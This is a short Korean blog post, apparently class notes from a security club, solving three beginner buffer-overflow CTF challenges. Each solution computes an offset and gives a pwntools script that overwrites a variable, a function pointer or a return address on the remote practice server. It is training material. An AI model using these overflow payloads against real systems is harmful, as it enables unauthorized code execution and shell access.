Layer7
Layer7 - 포너블 1차시 수업
Layer7 Sechack
2022. 10. 4. 21:41
문제 3개 전부 합쳐서 실행 한번도 안해보고 5분컷 냈다. ezpzzzlol
HackCTF극초반 느낌 난다.
bof_basic

v5변수만 맞춰주면 풀린다.

음수를 h키 눌러서 hex로 바꾸면 이렇게 되고 0x34-0xc만큼 더미 넣어주고 저 값 넣어주면 된다.
from pwn import *
r = remote("pwn.scalart.me", 8001)
r.sendline(b"a"*(0x34-0xc)+p32(0xDEADBEEF))
r.interactive()

bof_basic2


함수포인터 주고 셸함수 주니까 그냥 함수포인터 덮으면 된다. 마찬가지로 버퍼가 ebp-0x8c에 있고 함수포인터가 ebp-0xc에 있으므로 0x8c-0xc만큼 더미 주고 셸함수 주소 넣어주면 된다.
from pwn import *
r = remote("pwn.scalart.me", 8002)
r.sendline(b"a"*(0x8c-0xc)+p32(0x804849B))
r.interactive()

64bof_basic


카나리 없고 셸함수 주고 bof터지니까 return address덮으면 된다. 함수 프롤로그 에필로그에 대한 지식이 있다면 알 수 있는 사실인데 return address는 64비트의 경우 보통 rbp+8에 위치한다. 따라서 0x118만큼 더미 넣고 셸함수 주소 주면 된다.
from pwn import *
r = remote("pwn.scalart.me", 8003)
r.sendline(b"a"*0x118+p64(0x400606))
r.interactive()
